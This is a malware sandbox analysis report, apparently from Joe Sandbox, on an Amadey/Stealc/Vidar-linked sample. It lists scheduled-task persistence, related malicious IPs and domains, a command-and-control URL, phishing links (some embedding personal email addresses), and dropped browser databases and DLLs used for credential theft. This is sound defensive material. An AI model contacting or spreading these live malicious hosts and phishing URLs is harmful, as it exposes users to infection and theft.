Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 74.125.205.84, 34.104.35.123, 172.217.21.35, 216.58.208.234, 172.217.17.42, 172.217.17.74, 142.250.181.10, 172.217.19.202, 172.217.19.234, 142.250.181.74, 172.217.21.42, 172.217.19.170, 192.229.221.95, 142.250.181.106, 142.250.181.138, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 13.107.6.158, 13.87.96.169, 2.19.198.56, 23.32.238.138, 2.16.158.82, 2.16.158.91, 2.16.158.83, 2.16.158.96, 2.16.158.90, 2.16.158.169, 2.16.158.40, 2.16.158.33, 2.16.158.75, 172.165.61.93, 23.32.238.168, 23.32.238.192, 23.32.238.194, 23.32.238.186, 23.32.238.211, 23.32.238.240, 23.32.238.217, 23.32.238.242, 23.32.238.216, 2.16.158.187, 2.16.158.176, 2.16.158.179, 2.16.158.26, 95.100.135.123, 95.100.135.99, 95.100.135.115, 95.100.135.105, 95.100.135.107, 95.100.135.8, 95.100.135.19, 95.100.135.11, 95.100.135.97, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.32.238.163, 199.232.214.172, 23.32.238.105, 23.32.238.152, 2.19.198.73, 23.32.238.96, 20.
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, wu-b-net.trafficmanager.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ris-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing
Execution Graph export aborted for target DocumentsJEBKKEGDBF.exe, PID 3816 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2940 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5944 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:42:00	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:41:38	API Interceptor	124x Sleep call for process: file.exe modified
19:43:01	API Interceptor	104x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
bg.microsoft.map.fastly.net	Fumari INC.eml	Get hash	malicious	Unknown	Browse	199.232.210.172
	fpAb6lVZ9A.dll	Get hash	malicious	CobaltStrike	Browse	199.232.214.172
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	IJ9n6ms5CT.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	Evidence of copyright infringement.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	AccountDocuments - christinal.docx	Get hash	malicious	Unknown	Browse	199.232.214.172
	Disputes.accdb	Get hash	malicious	Unknown	Browse	199.232.214.172
	ZwmyzMxFKL.exe	Get hash	malicious	BlackMoon	Browse	199.232.210.172
	PVJ6cLZQ0T.xls	Get hash	malicious	Unknown	Browse	199.232.214.172
	Pe4905VGl1.bat	Get hash	malicious	AsyncRAT	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.57.90.161
	fbot.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	104.85.197.166
	fbot.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	92.123.108.251
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.200.88.38
	AccountDocuments - christinal.docx	Get hash	malicious	Unknown	Browse	184.30.24.109
	https://ymcajeffco-my.sharepoint.com/:u:/g/personal/rcampbell_mtvernonymca_org/Eb_PxgSrk7VCrlppYfmkXowB9vCdCR2cgdVG8AQkH7BcbQ?e=b9efJ2	Get hash	malicious	HTMLPhisher	Browse	2.19.198.232
	https://click.pstmrk.it/3s/greatestannualeventsinamerica.com/19Hg/24i5AQ/AQ/00bfb018-90f5-4b99-8834-436dd88a4b16/1/pcsx-lhnFb	Get hash	malicious	Unknown	Browse	23.196.97.28
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse	2.19.198.9
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	23.65.233.253
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.57.90.161
CLOUDFLARENETUS	file.exe	Get hash	malicious	Unknown	Browse	172.67.187.240
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.200.1
	http://bc1qcr8muz00d2v7uqg5ggulrmm.com	Get hash	malicious	Unknown	Browse	172.67.134.10
	A095176990000.pdf	Get hash	malicious	HTMLPhisher	Browse	104.22.72.81
	http://nxsnsstwhbaf.apexhallechuca.com.au/?userid=bHN3ZXN0LXN5c0BudHRscy5jby5qcA==	Get hash	malicious	Unknown	Browse	1.1.1.1
	FW Expiration Pending Support Care HIPAA Acknowledgement Form 2024.eml	Get hash	malicious	Unknown	Browse	104.18.65.57
	https://app.useblocks.io/getemail/48034?secret_hash=d1541dc5be135b2d0f39c0711cecbe46&raw=true	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	http://schneider.com.staffrecords-2024xsowi-dxeobyoji.aluminiosbarros.pt/	Get hash	malicious	Unknown	Browse	104.18.95.41
	file.exe	Get hash	malicious	Unknown	Browse	172.67.187.240
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	FW Expiration Pending Support Care HIPAA Acknowledgement Form 2024.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://app.useblocks.io/getemail/48034?secret_hash=d1541dc5be135b2d0f39c0711cecbe46&raw=true	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	51.104.15.253
	https://docs.google.com/drawings/d/1rnJTD83ySW2kuilnF4J1ffAp0B5BM7BM0Nvi8F8BbSI/preview?pli=1HeatherMitchell-andrew.tokar@overlakehospital.org	Get hash	malicious	HTMLPhisher	Browse	52.98.61.50
	fbot.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	13.107.240.53
	fbot.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	13.80.175.232
	fbot.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	135.149.96.50
	fbot.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	20.130.139.165
	fbot.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	40.83.40.144
	https://avidgroup.famislnc.com/fvcvfxfec/cc6d843dfd/?1f9da=amtsZW1wQGNhcmlzbHMuY29t	Get hash	malicious	Unknown	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	173.222.162.64
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	http://nxsnsstwhbaf.apexhallechuca.com.au/?userid=bHN3ZXN0LXN5c0BudHRscy5jby5qcA==	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	http://bc1qcr8muz00d2v7uqg5ggulrmm.com	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	A095176990000.pdf	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	http://schneider.com.staffrecords-2024xsowi-dxeobyoji.aluminiosbarros.pt/	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	IeccNv7PP6.exe	Get hash	malicious	Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	https://kkinternational.co.uk/	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	https://zxptech.com	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	https://shorturl.at/ZbKEL?REVd=Vhx6ZLBnjMm	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
	https://www.e-serviceparts.info/landingpages/cce21bb4-48dd-49da-9e48-d89a21f56454/RtynoRElk6VQIiohoauuXaUdv9Gb4EPJBf3UQg9_Um4	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
	P0-4856383648383364838364836483.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.223.36.55 20.31.169.57 150.171.28.10 20.223.35.26
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.84
	file.exe	Get hash	malicious	FormBook	Browse	20.198.119.84
	file.exe	Get hash	malicious	FormBook	Browse	20.198.119.84
	Orden de compra HO-PO-376-25.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	20.198.119.84
	file.exe	Get hash	malicious	Cryptbot	Browse	20.198.119.84
	INV-0542.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	20.198.119.84
	Evidence of copyright infringement (2).bat	Get hash	malicious	Unknown	Browse	20.198.119.84
	Evidence of copyright infringement.bat	Get hash	malicious	Unknown	Browse	20.198.119.84
	Compilation of videos and images protected by copyright.bat	Get hash	malicious	Unknown	Browse	20.198.119.84
	Verzameling van video's en afbeeldingen die beschermd zijn door auteursrecht (2).bat	Get hash	malicious	Unknown	Browse	20.198.119.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	IeccNv7PP6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAFCAFCBKFHJJJKKFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BKEBFHIJECFIDGDGCGHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCGCGDHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2678097209706423
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMeSA1LyKOMq+8iP5GDHP/0jMVum8:Kq+n0Je91LyKOMq+8iP5GLP/0F
MD5:	583B976DC2C33AA03711BD6376459EDB
SHA1:	F3FEC1F40A917951DF48A0848C46F03A86B26B20
SHA-256:	295B9EDB71317895ACF534109716185A42BBA12D3891EFFC90B4B518E390D527
SHA-512:	1C23E9196FA001F9C409E42952F96EA5CE207D3BB661752ACE825EF6CC2F0E1B842B862658D3A4D1FD0D4481D7E3072D9E8BC2A7EA45BA1FC2B5D84040F40616
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDGHJEHJJDAAAKEBGCFCAAAAEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIIEGHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEHJEHDBGHIDGDGHCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEGDGIIJJECFIDHJJKKFCAECFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: IeccNv7PP6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
